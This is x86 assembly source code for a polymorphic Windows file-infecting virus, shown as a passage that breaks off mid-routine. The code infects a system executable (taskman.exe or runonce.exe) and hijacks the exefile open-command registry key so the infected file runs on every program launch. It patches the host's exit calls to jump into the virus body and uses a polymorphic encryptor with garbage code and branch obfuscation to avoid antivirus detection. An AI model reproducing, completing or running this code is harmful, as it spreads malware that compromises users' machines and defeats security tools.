CheckInfectionTimeOutThreadID dd 0
NTTargetFile db "taskman.exe",0
W9xTargetFile db "runonce.exe",0
CompNameSize dd MAX_COMPUTERNAME_LENGTH + 1
LenWinDirStr dd 0
szKeyName db 'exefile\shell\open\command',0
szRegHook db ' "%1" %*',0
Disp dd 0
pKey dd 0
WinVer dd 0
;REGHOOK
;-------------------------------------------- install reg HOOK Procedures ---------------------------
SetupRegHook proc
sub esp, 800h ; get some mem
mov eax, esp
push 0FFh ; Dir size
push eax ; buffer
lea eax, dword ptr [ebp + szGetSystemDirectoryA]
Call K32Api
mov edi, esp
xor ecx, ecx
ReachNull:
inc ecx
inc edi
cmp byte ptr [edi], 0 ;
jnz ReachNull
mov dword ptr [ebp + LenWinDirStr], ecx
mov byte ptr [edi], '\'
inc edi
.IF dword ptr [ebp + WinVer] == VER_PLATFORM_WIN32_NT
lea esi, dword ptr [ebp + NTTargetFile]
.ELSE
lea esi, dword ptr [ebp + W9xTargetFile]
.ENDIF
@@:
lodsb
stosb
or al,al
jnz @B
mov edi, esp ; eax pointer to %systemroot%\target.exe
mov esi, edi
add esi, 0FFh
push esi
push edi
lea eax, dword ptr [ebp + szFindFirstFileA]
Call K32Api
push eax
push eax
lea eax, dword ptr [ebp + szFindClose]
Call K32Api
pop eax
inc eax
jnz @F ; not in this dir?
mov edi, esp
push 0FFh ; Dir size
push edi ; buffer
lea eax, dword ptr [ebp + szGetWindowsDirectoryA]
Call K32Api
xor ecx, ecx
jmp ReachNull
@@:
mov ebx, esi
add ebx, SIZEOF WIN32_FIND_DATA
.IF dword ptr [ebp + WinVer] == VER_PLATFORM_WIN32_NT ; infect a copy of rundll on NT because SFC...
mov dword ptr [ebp + CompNameSize], MAX_COMPUTERNAME_LENGTH + 1
lea eax, dword ptr [ebp + CompNameSize]
push eax
push ebx
lea eax, dword ptr [ebp + szGetComputerNameA]
Call K32Api
push ebx
mov eax, ebx
xor ecx, ecx
invert:
mov dl, byte ptr [eax+ecx]
.IF dl == 0
jmp CopyNow
.ELSEIF dl >= 41h && dl <= 5Ah
sub dl, 41h
mov bl, 25
sub bl, dl
mov dl, 41h
add dl, bl
.ELSEIF dl >= 61h && dl <= 7Ah
sub dl, 61h
mov bl, 25
sub bl, dl
mov dl, 61h
add dl, bl
.ENDIF
mov byte ptr [eax+ecx], dl
inc ecx
jmp invert
CopyNow:
pop ebx
mov esi, esp
mov edi, ebx
add edi, MAX_COMPUTERNAME_LENGTH + 1
push edi
mov ecx, dword ptr [ebp + LenWinDirStr]
rep movsb
mov byte ptr [edi], '\'
inc edi
mov esi, ebx
@@:
lodsb
stosb
or al,al
jnz @B
pop edi
mov eax, edi
mov edi, esp
push eax
push 1
push eax
push edi
lea eax, dword ptr [ebp + szCopyFileA] ; Copy the file
Call K32Api ;
pop eax ; WinNt, 2000, XP : infect copy
.ELSE ; Win9x infect directly rundll32.exe
mov eax, esp ; infect original file
.ENDIF
push eax ; eax can be either a pointer to the full path of
; runonce.exe (win9x) or a pointer to a "reversed" computername exe path (NT)
mov dword ptr [ebp + _MainHostFileName], eax
mov byte ptr [ebp + _MainHostFile], 1
Call infect ; infect it ! (Wont infect if we are running from it)
mov byte ptr [ebp + _MainHostFile], 0
pop edi
assume ebx : nothing
lea eax, dword ptr [ebp + Disp]
push eax
lea eax, dword ptr [ebp + pKey]
push eax
xor eax, eax
push eax
push KEY_ALL_ACCESS
push REG_OPTION_NON_VOLATILE
push eax
push eax
lea eax, dword ptr [ebp + szKeyName]
push eax
push HKEY_CLASSES_ROOT
lea eax, dword ptr [ebp + szRegCreateKeyExA]
Call ADVAPI32Api
lea esi, dword ptr [ebp + szRegHook]
mov eax, edi
call _strlen
push edi
add edi, eax
mov ecx, eax
@@:
lodsb
stosb
inc ecx
or al,al
jnz @B
pop edi
push ecx ; <- size of hookstring
push edi ; hookstring
push REG_SZ
xor eax, eax
push eax
push eax
push dword ptr [ebp + pKey]
lea eax, dword ptr [ebp + szRegSetValueExA]
Call ADVAPI32Api
push dword ptr [ebp + pKey]
lea eax, dword ptr [ebp + szRegCloseKey]
Call ADVAPI32Api
add esp, 800h
ret
SetupRegHook endp
;
;
;in: esi = pFileMap
;in: edi = RVA
;
;out: eax = File offset
;
RVAToOffset PROC uses edi esi ecx
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov edx,esi
add edx,sizeof IMAGE_NT_HEADERS
movzx ecx,[esi].FileHeader.NumberOfSections
assume edx:ptr IMAGE_SECTION_HEADER
.while ecx>0 ; check all sections
.if edi>=[edx].VirtualAddress
mov eax,[edx].VirtualAddress
add eax,[edx].SizeOfRawData
.if edi<eax ; The address is in this section
mov dword ptr [ebp + SecHeader],edx ; save section where we found the address
sub edi, [edx].VirtualAddress
mov eax,[edx].PointerToRawData
add eax,edi ; eax == file offset
ret
.endif
.endif
add edx,sizeof IMAGE_SECTION_HEADER
dec ecx ; next section
.endw
;assume edx:nothing
assume esi:nothing
mov eax,edi
ret
RVAToOffset endp
CheckFunctionImported proc
push esi
push edi
mov edi,dword ptr [ebp + PEheader]
mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress
mov esi,dword ptr [ebp + pMap]
push edx
Call RVAToOffset
pop edx
add eax,dword ptr [ebp + pMap]
mov edi,eax
assume edi:ptr IMAGE_IMPORT_DESCRIPTOR
.while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 \
&& [edi].ForwarderChain==0 && [edi].Name1==0 \
&& [edi].FirstThunk==0)
or edx,edx
jz ModScan
push edi
push esi
mov edi,[edi].Name1
mov esi,dword ptr [ebp + pMap]
push edx
Call RVAToOffset
pop edx
add eax, dword ptr [ebp + pMap]
pop esi
pop edi
Call _ToLower
push edi
push esi
mov esi,edx
mov edi,eax
Call _strlen
mov ecx,eax
repz cmpsb ; Compare Modules
pop esi
pop edi
or ecx,ecx
jnz NextModule
ModScan:
and dword ptr [ebp + ThunkIndex],0
.if [edi].OriginalFirstThunk==0
mov esi,[edi].FirstThunk
.else
mov esi,[edi].OriginalFirstThunk
.endif
push edi
mov edi,esi
mov esi,dword ptr [ebp + pMap]
push edx
Call RVAToOffset
pop edx
pop edi
add eax, dword ptr [ebp + pMap]
mov esi,eax
.while dword ptr [esi] != 0
test dword ptr [esi],IMAGE_ORDINAL_FLAG32
jnz NotExitProcess
push edi
push esi
mov edi,[esi]
mov esi,dword ptr [ebp + pMap]
push edx
Call RVAToOffset
pop edx
add eax, dword ptr [ebp + pMap]
pop esi
pop edi
assume eax : ptr IMAGE_IMPORT_BY_NAME
push edi
push esi
push eax
lea eax,[eax].Name1
Call _strlen
mov ecx,eax
pop eax
lea edi,[eax].Name1
mov esi,ebx
repz cmpsb
pop esi
pop edi
or ecx,ecx
jnz NotExitProcess
mov eax, dword ptr [edi].FirstThunk
add eax, dword ptr [ebp + ThunkIndex]
add eax, dword ptr [ebp + ImageBase] ; eax = thunk to available exitfunc
jmp ExitFound
NotExitProcess:
add dword ptr [ebp + ThunkIndex],4
add esi,4
.endw
NextModule:
add edi,sizeof IMAGE_IMPORT_DESCRIPTOR
.endw
xor eax,eax
ExitFound:
pop edi
pop esi
ret
CheckFunctionImported endp
Int3InsideCodeOffset dd 0
PatchExitFunc proc
pushad
and dword ptr [ebp + Int3InsideCodeOffset], 0
assume esi : ptr IMAGE_SECTION_HEADER
assume edi: ptr IMAGE_NT_HEADERS
push dword ptr [[edi].OptionalHeader.ImageBase]
pop dword ptr [ebp + HostBase]
movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader]
lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER*
mov edx,esi
assume edx : ptr IMAGE_SECTION_HEADER
mov eax,[esi].PointerToRawData
mov ebx,dword ptr [ebp + pMap]
lea esi, [ebx + eax]
push esi
mov ecx,[edx].Misc.VirtualSize
cmp dword ptr [edx],'0XPU' ; Can't infect UPX
jz ExitScan
push esi
push ecx
SearchCavity:
lodsd
cmp eax, 0CCCCCCCCh
jz Int3InsideCode? ; int 3 for our jmp/call ?
NextCavity: jecxz @Restore
sub ecx, 4
jns SearchCavity
@Restore:
pop ecx
pop esi
SearchCall: push ecx
lodsb
cmp al,0FFh
jz Call_op?
NextCall: pop ecx
dec ecx
jnz SearchCall
ExitScan:
pop esi
popad
mov eax, dword ptr [ebp + Patched?]
ret
Int3InsideCode?:
cmp byte ptr [esi], 0CCh
jnz @F
sub esi, 4
mov dword ptr [ebp + Int3InsideCodeOffset], esi
xor ecx, ecx
@@:
jmp NextCavity
Call_op?:
cmp byte ptr [esi],15h
jz CheckExitProcess
cmp byte ptr [esi],25h
jnz NextCall
CheckExitProcess:
mov eax,dword ptr [esi+1] ; ImageBase + FirstThunk+ThunkIndex
cmp dword ptr [ebp + _Exit1],eax
jz GOT1
cmp dword ptr [ebp + _Exit2],eax
jz GOT1
cmp dword ptr [ebp + _Exit3],eax
jz GOT1
jmp NextCall
GOT1:
or eax,eax
jz NextCall
Call ApplyPatch
jmp NextCall
PatchExitFunc endp
ApplyPatch proc uses esi
push esi
mov edi,dword ptr [ebp+PEheader] ; goto PEhdr
assume edi:ptr IMAGE_NT_HEADERS
movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader]
lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER
movzx eax, word ptr [edi].FileHeader.NumberOfSections
dec eax
imul eax,eax,28h
add esi,eax
mov eax,dword ptr [ebp + Size2Align]
add eax,[esi].VirtualAddress
sub eax,dword ptr [esi].PointerToRawData
add eax,dword ptr [edi].OptionalHeader.ImageBase ; eax = VirusOffset VA
mov dword ptr [ebp + Patched?],1
pop esi
mov ecx, dword ptr [ebp + Int3InsideCodeOffset]
.IF ecx == 0
mov byte ptr [esi-1],68h
mov dword ptr [esi],eax ; Patch !!!
mov byte ptr [esi+4],0C3h
.ELSE
push eax
mov dword ptr [ecx], eax
sub ecx, dword ptr [ebp + pMap]
push esi
movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader]
lea esi, [[edi].OptionalHeader + esi]
add ecx, [esi].VirtualAddress
sub ecx, [esi].PointerToRawData
add ecx, dword ptr [ebp + HostBase]
pop esi
mov dword ptr [esi+1], ecx ; Patch !!!
mov ecx, dword ptr [ebp + Int3InsideCodeOffset]
mov esi, ecx
@@:
dec esi
call Random32
cmp byte ptr [esi], 0CCh
jnz @F
mov byte ptr [esi], al
jmp @B
@@:
mov esi, ecx
add esi, 3
@@:
inc esi
call Random32
cmp byte ptr [esi], 0CCh
jnz @F
mov byte ptr [esi], al
jmp @B
@@:
pop eax
.ENDIF
sub eax, OFFSET VirusStart
mov dword ptr [ebp + @Delta],eax ; Pre-computed delta offset
ret
ApplyPatch endp
UnMap proc
push dword ptr [ebp+pMap]
lea eax,dword ptr [ebp+szUnmapViewOfFile] ; UnMAP
call K32Api
push dword ptr [ebp+hMap]
lea eax, dword ptr [ebp+szCloseHandle]
call K32Api
ret
UnMap endp
trunc_file proc
push ecx
xor esi,esi
push esi
push esi
push ecx
push dword ptr [ebp + hFile]
lea eax, dword ptr [ebp+szSetFilePointer]
Call K32Api
push dword ptr [ebp + hFile]
lea eax, dword ptr [ebp+szSetEndOfFile]
Call K32Api
pop ecx
ret
trunc_file endp
_Align proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
_Align endp
_strlen proc
push ecx
xor ecx,ecx
@@:
inc ecx
cmp byte ptr [eax + ecx],0
jnz @b
mov eax,ecx
pop ecx
ret
_strlen endp
_ToLower proc
push esi
push ecx
mov esi,eax
Call _strlen
mov ecx,eax
@NextCh:
mov al,byte ptr [esi+ecx]
cmp al,41h
jb @F
cmp al,5Ah
ja @F
add al,32
mov byte ptr [esi+ecx],al
@@:
dec ecx
jns @NextCh
mov eax,esi
pop ecx
pop esi
ret
_ToLower endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POLY VARS
@Delta dd 0
PolyBuf dd 0
PolySize dd 0
JmpShort? db 0
PolyMainErr db 0
FileOFFSET dd 0
What2encrypt dd 0
SizeOfWhat2encrypt dd 0
;RVA_What2encrypt dd 0
base_reg db 0 ; CRYPTOR REGS
key_reg db 1 ;
counter_reg db 2 ;
cypher_reg db 7 ;
garb_reg1 db 3 ; GARBAGE
garb_reg2 db 5 ;
garb_reg3 db 6 ;
dummy db 0
;Key dd 0 ; Cryptor Key Stored
BaseOFS dd 0 ; Base Offset for later relocation
LoopOFS dd 0 ; Begin of Offset to jump (decryption)
CryptorPatch dd 0 ;
;JunkDataSize dd 0
;pBranchBuf dd 0
;BranchCodeSize dd 0
REG_EAX dd 0 ; Registers to restore when exception occurs
REG_ECX dd 0
REG_EDX dd 0
REG_EBX dd 0
REG_ESI dd 0
REG_EDI dd 0
;REG_ESP dd 0
PolyMain proc
mov dword ptr [ebp + PolyBuf], edi
mov dword ptr [ebp + What2encrypt], esi
mov dword ptr [ebp + SizeOfWhat2encrypt], ecx
and byte ptr [ebp + WtLp_Called], 0
and word ptr [ebp + _garb1_reserved], 0
mov byte ptr [ebp + PolyMainErr], 1 ; init error
;---
lea eax,[PolyMain_handlder+ebp] ; Setup SEH frame for poly error handling
push eax
mov dword ptr [ebp + PolyMainDelta],ebp ; Save Delta
mov dword ptr [ebp + PolyMainStack],esp ; Save Stack
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
Call PolyCryptor ; Create PolyCryptor
mov eax,edi
sub edi, dword ptr [ebp + PolyBuf] ; Get size of generated PolyCryptor
mov dword ptr [ebp + PolySize],edi
mov edx,edi
push edx
push edi
Call EncryptVirus ; Call Polymorphic Encryption Routine
pop ecx
pop edx
mov eax,dword ptr [ebp + BaseOFS]
add dword ptr [eax],edi ; adjust base offset
dec byte ptr [ebp + PolyMainErr] ; if we are here no fatal-error occured
;---
PolyMain_handlder:
db 0BCh
PolyMainStack dd 00000000h ; Restore Stack
xor eax,eax
pop dword ptr fs:[eax]
db 0BDh
PolyMainDelta dd 00000000h ; Restore Delta
;---
add ecx, dword ptr [ebp + SizeOfWhat2encrypt] ; return ecx == size of generated polycode
mov esi, dword ptr [ebp + PolyBuf]
mov eax, dword ptr [ebp + PolyErrFlag]
ret
PolyMain endp
PolyCryptor proc
Call GetRegs ; Get Cryptor Regs
;Call InitMemAccess ; Get data section offset
;Call GetRandomDataOFS ; init defaut mem aera
;Call GetRandomDataOFS
;mov cl, byte ptr [ebp + garb_reg3]
;mov byte ptr [ebp + _REG_OPCODE], cl
;Call EncodeMemLocation
;CALL GEN_LEA_REG32_DISP32
Call Make_Random_Blk;-**-
Call SetSeq ; First 3 decryptor instructions can have 6 different sequence
Call Random32
jp CRYPT_GEN_MOV_REG32_MEM_REG32
mov cl,byte ptr [ebp + base_reg]
Call GEN_PUSH_REGMEM32
Call Make_Random_Blk;-**-
mov cl,byte ptr [ebp + cypher_reg]
Call GEN_POP_REG32
Call Make_Random_Blk;-**-
jmp @F
CRYPT_GEN_MOV_REG32_MEM_REG32:
mov ch,byte ptr [ebp + base_reg]
mov cl,byte ptr [ebp + cypher_reg]
Call GEN_MOV_REG32_MEM_REG32
Call Make_Random_Blk;-**-
;****
@@:
;***
Call CryptSeq ;
Call Make_Random_Blk;-**-
Call Random32
jp CRYPT_GEN_MOV_MEM_REG32_REG32
mov cl,byte ptr [ebp + cypher_reg]
Call GEN_PUSH_REG32
Call Make_Random_Blk;-**-
mov cl,byte ptr [ebp + base_reg]
Call GEN_POP_REGMEM32
Call Make_Random_Blk;-**-
jmp @F
CRYPT_GEN_MOV_MEM_REG32_REG32:
mov ch,byte ptr [ebp + base_reg]
mov cl,byte ptr [ebp + cypher_reg]
Call GEN_MOV_MEM_REG32_REG32
Call Make_Random_Blk;-**-
@@:
push 4 ; ADD REG32,4
pop ebx
.IF byte ptr [ebp + CryptBackward] != 0
neg ebx ; ADD REG32,-4
.ENDIF
;-------------------------------------------------------------
Call HideConst ; Hide it
;-------------------------------------------------------------
Call Make_Random_Blk;-**-
; ebx is now hidden
;***
Call Random32
jp GOFORADD
neg ebx
mov cl,byte ptr [ebp + base_reg]
Call GEN_SUB_REG32_IMM
Call Make_Random_Blk;-**-
jmp @F
GOFORADD:
mov cl,byte ptr [ebp + base_reg]
Call GEN_ADD_REG32_IMM
Call Make_Random_Blk;-**-
@@:
;-------------------------------------------------------------
mov cl,byte ptr [ebp + base_reg]
Call RestConst
;-------------------------------------------------------------
Call Make_Random_Blk;-**-
call Random32
jp @F
;mov byte ptr [ebp + UseDec], 1
mov cl,byte ptr [ebp + counter_reg]
CAll GEN_DEC_REG32
jmp @MakeJMP
@@:
;mov byte ptr [ebp + UseDec], 0
xor ebx,ebx
dec ebx
;-------------------------------------------------------------
Call HideConst
;-------------------------------------------------------------
Call Make_Random_Blk;-**-
; ebx is now hidden
;***
Call Random32
jp @GOFORADD
neg ebx
mov cl,byte ptr [ebp + counter_reg]
Call GEN_SUB_REG32_IMM
jmp MakeJMP
@GOFORADD:
mov cl,byte ptr [ebp + counter_reg]
Call GEN_ADD_REG32_IMM
MakeJMP:
Call Make_Random_Blk;-**-
mov cl,byte ptr [ebp + counter_reg]
Call RestConst
@MakeJMP:
mov cl, byte ptr [ebp + counter_reg]
mov eax, dword ptr [ebp + LoopOFS]
mov dword ptr [ebp + MulFactor], 1
CALL MakePolyJMP
;CALL SHIT_TEST
mov dword ptr [ebp + CryptorPatch],edi
Call Make_Random_Blk;-**-
push 8
pop eax
push 12
pop ecx
Call Get_rand_range
mov ecx,eax
Call GarbageBlock
Call Make_Random_Blk;-**-
ret
PolyCryptor endp
CODEGenerated dd 0 ; retrieve the content of this variable immediatly after calling Make_Random_BlkXXXX (in case of Branch destination calculation)
Make_Random_Blk proc uses ecx ebx edx esi
push edi
xor eax,eax
push 18
pop ecx
Call Get_rand_range
.IF eax <= 7
Call LittleBlk
.ELSEIF eax > 7 && eax <= 10
Call Push_Pop_blk
.ELSEIF eax == 11
Call MediumBlk
.ELSEIF eax > 12 && eax <= 16 ; (trop de détection si ce facteur est trop élevé.)
Call Branch_blk
.ELSEIF eax == 17
Call MemAccess_blk
.ENDIF
pop eax
sub eax, edi
neg eax
mov dword ptr [ebp + CODEGenerated], eax ; <- put in eax size of code generated
ret
Make_Random_Blk endp
TrashOrBlk proc
Call Random32
and eax, 07h ; 1 / 7 this can be trash
dec eax
jnz RandBlk
Call Random32
and eax, 7Fh
inc eax
push edi
Call GenTrashBlk
pop eax
sub eax, edi
neg eax
mov dword ptr [ebp + CODEGenerated], eax ; <- put in eax size of code generated
ret
RandBlk:
Call Make_Random_Blk
ret
TrashOrBlk endp
Make_Random_Blk_no_0_disp proc
BadGen:
push edi
Call Make_Random_Blk
pop eax
sub eax, edi
or eax, eax
jz BadGen ; we don't want zero disp
ret
Make_Random_Blk_no_0_disp endp
;/BRANCH
BranchMaxRecurs db 0
pBranchBuf equ ESI
Branch_blk proc uses esi
Call LittleBlk
inc byte ptr [ebp + BranchMaxRecurs]
cmp byte ptr [ebp + BranchMaxRecurs], 6
jae ExitBranch
sub esp, 20
mov esi, esp
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push MAX_BRANCH_CODE_SIZE
push 0
lea eax, dword ptr [ebp + szVirtualAlloc]
Call K32Api
mov dword ptr [pBranchBuf],eax
push eax
xor eax,eax
push 5
pop ecx
Call Get_rand_range
mov ecx, eax
or ecx, ecx
pop eax
jz @Branch1
dec ecx
jz @Branch2
@JmpOver:
Call RandomJMPOver
jmp @F
@Branch1:
Call BranchMethod1
jmp @F
@Branch2:
Call BranchMethod2
@@:
push MEM_DECOMMIT or MEM_RELEASE
push MAX_BRANCH_CODE_SIZE
push dword ptr [pBranchBuf]
lea eax, dword ptr [ebp + szVirtualFree]
Call K32Api
add esp, 20
and byte ptr [ebp + BranchMaxRecurs], 0
ExitBranch:
Call LittleBlk
ret
Branch_blk endp
UniversalCALL proc
Call GEN_CALL_OFS
ret
UniversalCALL endp
SizeOfJMP dd 0 ; retrieve the content of this variable immediatly after calling UniversalJMP
UniversalJMP proc
push edi
Call GEN_JMP_OFS
pop eax
sub eax, edi
neg eax
mov dword ptr [ebp + SizeOfJMP], eax
ret
UniversalJMP endp
JMPSHORT equ 0
JMPLONG equ 1
BranchOFFSET1 equ esi
BranchOFFSET2 equ esi+4
BranchOFFSET3 equ esi+8
AdjustBranch1 equ esi+12
AdjustBranch2 equ esi+16
SizeGenerated2 equ esi+20
SizeGenerated3 equ esi+24
_pBranchBuf equ esi+28
JMP_TABLE dd OFFSET GEN_JNZ_OFS
dd OFFSET GEN_JZ_OFS
dd OFFSET GEN_JNZ_OFS
dd OFFSET GEN_JZ_OFS
dd OFFSET GEN_JNZ_OFS
dd OFFSET GEN_JZ_OFS
dd OFFSET GEN_JNZ_OFS
dd OFFSET GEN_JZ_OFS
TOTALJZ_JNZ = (OFFSET $ - OFFSET JMP_TABLE) / 4
dd OFFSET GEN_JNS_OFS
dd OFFSET GEN_JS_OFS
dd OFFSET GEN_JG_OFS
dd OFFSET GEN_JL_OFS
dd OFFSET GEN_JGE_OFS
dd OFFSET GEN_JLE_OFS
dd OFFSET GEN_JBE_OFS
dd OFFSET GEN_JA_OFS
dd OFFSET GEN_JNB_OFS
dd OFFSET GEN_JP_OFS
dd OFFSET GEN_JNP_OFS
TOTALJMP = (OFFSET $ - OFFSET JMP_TABLE) / 4
RandomJMPOver proc uses ecx esi
sub esp, 60
mov esi, esp
mov dword ptr [_pBranchBuf], eax
and dword ptr [BranchOFFSET1],0 ; unconditional jmp flag
and dword ptr [BranchOFFSET2],0 ; jz/jnz temp flag
push dword ptr [ebp + CMP_Range]
xor eax,eax
push 5
pop ecx
Call Get_rand_range
or eax, eax
jz LooksLikeDecryptor
dec eax
jz Random
dec eax
jz SkipDirectCMP
SimpleJMP:
inc dword ptr [BranchOFFSET1]
jmp SkipDirectCMP
Random:
Call Random32
push eax
Call Random32
and eax, 07h
dec eax
pop eax
jnz @F
sub eax, eax
@@:
mov dword ptr [ebp + CMP_Range], eax
Call Get2RandRegs
Call Random32
jp @@RandRegs
Call Get2RandRegs
Call GEN_CMP_REG32_REG32
jmp SkipDirectCMP
LooksLikeDecryptor:
Call Random32
and eax, 7Fh
mov dword ptr [ebp + CMP_Range], eax
Call Get2RandRegs
mov cl, ch
@@RandRegs:
push ecx
xor eax,eax
push 5
pop ecx
Call Get_rand_range
pop ecx
or eax,eax
jz @GEN_CMP_REG32_IMM
dec eax
jz @GEN_TEST_REG32_REG32
dec eax
jz @GEN_TEST_REG32_IMM32
dec eax
jz @GEN_OR_REG32_REG32
jmp SkipDirectCMP
@GEN_CMP_REG32_IMM:
Call Random32
mov cl, al
and cl, 7
push ecx
xor eax,eax
mov ecx, dword ptr [ebp + CMP_Range]
jecxz @F
Call Get_rand_range
@@:
mov ebx,eax
pop ecx
Call GEN_CMP_REG32_IMM
jmp SkipDirectCMP
@GEN_TEST_REG32_REG32:
CAll GEN_TEST_REG32_REG32
jmp SkipDirectCMP
@GEN_TEST_REG32_IMM32:
Call Random32
mov cl, al
and cl, 7
Call Random32
mov ebx, eax
Call ArrangeTo8Bits?
Call ArrangeTo8Bits?
Call ArrangeTo8Bits?
inc dword ptr [BranchOFFSET2]
Call GEN_TEST_REG32_IMM32
jmp SkipDirectCMP
@GEN_OR_REG32_REG32:
Call Get2RandRegs
Call GEN_OR_REG32_REG32
SkipDirectCMP:
push edi
mov edi, dword ptr [_pBranchBuf]
Call Make_Random_Blk_no_0_disp
mov ebx, dword ptr [ebp + CODEGenerated]
pop edi
push ebx
;Call UniversalJMP
xor eax,eax
.IF dword ptr [BranchOFFSET2] == 0
push TOTALJMP
.ELSE
push TOTALJZ_JNZ ; for test reg32, XXXXXXXX
.ENDIF
pop ecx
Call Get_rand_range
lea ecx,dword ptr [ebp + JMP_TABLE]
mov eax,dword ptr [ecx + (eax * 4)]
add eax,ebp
push edi
.IF dword ptr [BranchOFFSET1] == 0
Call eax
.ELSE
Call GEN_JMP_OFS
.ENDIF
pop eax
sub eax, edi
neg eax
mov dword ptr [ebp + SizeOfJMP], eax
pop ebx
mov eax, dword ptr [ebp + SizeOfJMP]
mov ecx, edi
.IF eax <= 4 ; short
dec ecx
.ELSE
sub ecx, 4
.ENDIF
mov eax, ecx
.IF ecx >= 80h && ecx < -80h
mov dword ptr [eax], ebx ; Ajdust JMP
.ELSE
mov byte ptr [eax], bl
.ENDIF
mov ecx, ebx
mov esi, dword ptr [_pBranchBuf]
rep movsb
pop dword ptr [ebp + CMP_Range]
add esp, 60
ret
RandomJMPOver endp
BranchMethod1 proc uses ecx esi
;in : eax = branch offset
sub esp, 60
mov esi, esp
mov dword ptr [_pBranchBuf], eax ; save branch buf offset
Call UniversalCALL ; Create Call
mov eax, edi
sub eax, 4
mov dword ptr [AdjustBranch1], eax
Call Make_Random_Blk
mov ebx, eax;dword ptr [ebp + CODEGenerated]
push edi
mov edi, dword ptr [_pBranchBuf]
Call TrashOrBlk
;mov eax, dword ptr [ebp + CODEGenerated]
mov dword ptr [SizeGenerated2], eax
add ebx, eax
Call Make_Random_Blk_no_0_disp
mov eax, dword ptr [ebp + CODEGenerated]
inc eax ; for ret
add dword ptr [SizeGenerated2], eax
mov al, 0C3h
stosb
Call TrashOrBlk
;mov eax, dword ptr [ebp + CODEGenerated]
add dword ptr [SizeGenerated2], eax
pop edi
push ebx
mov ebx, dword ptr [SizeGenerated2]
Call UniversalJMP
pop ebx
add ebx, dword ptr [ebp + SizeOfJMP]
mov eax, dword ptr [AdjustBranch1]
mov dword ptr [eax], ebx ; time to adjust CALL
mov eax, dword ptr [ebp + SizeOfJMP]
mov ecx, edi
.IF eax <= 4 ; short
dec ecx
.ELSE
sub ecx, 4
.ENDIF
;mov dword ptr [AdjustBranch2], ecx
mov eax, ecx;dword ptr [AdjustBranch2]
mov ecx, dword ptr [SizeGenerated2]
.IF ecx >= 80h && ecx < -80h
mov dword ptr [eax], ecx ; Ajdust JMP
.ELSE
mov byte ptr [eax], cl
.ENDIF
mov esi, dword ptr [_pBranchBuf]
rep movsb
add esp, 60
ret
BranchMethod1 endp
BranchMethod2 proc uses ecx esi
;in : eax = branch offset
sub esp, 60
mov esi, esp
mov dword ptr [_pBranchBuf], eax ; save branch buf offset
push edi
mov edi, eax
push edi;;
Call TrashOrBlk
;mov eax, dword ptr [ebp + CODEGenerated]
mov dword ptr [BranchOFFSET1], eax ; for call, will be adjusted later...
mov dword ptr [SizeGenerated2], eax
Call Make_Random_Blk_no_0_disp
mov eax, dword ptr [ebp + CODEGenerated]
inc eax ; for ret
add dword ptr [SizeGenerated2], eax
mov al, 0C3h
stosb
Call TrashOrBlk
;mov eax, dword ptr [ebp + CODEGenerated]
add dword ptr [SizeGenerated2], eax
Call Make_Random_Blk
mov eax, dword ptr [SizeGenerated2]
add eax, dword ptr [ebp + CODEGenerated]
add eax, 5
mov dword ptr [SizeGenerated3], eax
Call UniversalCALL ; Create Call
mov eax, edi
sub eax, 4
pop ecx;;
sub ecx, edi
add ecx, dword ptr [BranchOFFSET1]
mov dword ptr [eax], ecx ; adjust call offset
pop edi
mov ebx, dword ptr [SizeGenerated2]
Call UniversalJMP
mov eax, dword ptr [ebp + SizeOfJMP]
mov ecx, edi
.IF eax <= 4 ; short
dec ecx
.ELSE
sub ecx, 4
.ENDIF
;mov dword ptr [AdjustBranch2], ecx
mov eax, ecx; dword ptr [AdjustBranch2]
mov ecx, dword ptr [SizeGenerated2]
.IF ecx >= 80h && ecx < -80h
mov dword ptr [eax], ecx ; Ajdust JMP
.ELSE
mov byte ptr [eax], cl
.ENDIF
mov ecx, dword ptr [SizeGenerated3]
mov esi, dword ptr [_pBranchBuf]
rep movsb
add esp, 60
ret
BranchMethod2 endp
BranchMethod3 proc
sub esp, 60
mov esi, esp
mov dword ptr [_pBranchBuf], eax ; save branch buf offset
push edi
mov edi, eax
Call Make_Random_Blk
;mov eax, dword ptr [ebp + CODEGenerated]
mov dword ptr [BranchOFFSET1], eax
pop edi
add esp, 60
ret
BranchMethod3 endp
WhereToJmp dd 0
;UseDec db 0
_LoopOFS equ esi
MakePolyJMP proc uses esi edx ecx ebx; in : ecx ctr_reg
sub esp, 10
mov esi, esp
mov dword ptr [_LoopOFS], eax
push ecx
xor eax,eax
push 4
pop ecx
Call Get_rand_range
pop ecx
mov ch, cl
or eax,eax
jz @GEN_CMP_REG32_IMM
dec eax
jz @GEN_TEST_REG32_REG32
dec eax
jz @GEN_OR_REG32_REG32
jmp SkipDirectCMP
@GEN_CMP_REG32_IMM:
push ecx
Call Make_Random_Blk;-**-
xor eax,eax
mov ecx, dword ptr [ebp + CMP_Range]
jecxz @F
Call Get_rand_range
@@:
mov ebx,eax
pop ecx
Call GEN_CMP_REG32_IMM
jmp SkipDirectCMP
@GEN_TEST_REG32_REG32:
Call Make_Random_Blk;-**-
CAll GEN_TEST_REG32_REG32
jmp SkipDirectCMP
@GEN_OR_REG32_REG32:
Call Make_Random_Blk;-**-
Call GEN_OR_REG32_REG32
SkipDirectCMP:
Call Random32 ; Get method
jp @Method1
Call Random32 ; Get method
jp @JmpLong
xor ebx, ebx ; setup relative jmp short
jmp @Method2
@JmpLong:
mov ebx, edi ; setup relative jmp long
jmp @Method2
@Method1:
mov ebx,dword ptr [_LoopOFS]
sub ebx,edi ; adresse où sauter
xor eax,eax
.IF dword ptr [ebp + MulFactor] == 1
push 4
.ELSE
push 3
.ENDIF
pop ecx
Call Get_rand_range
or eax,eax
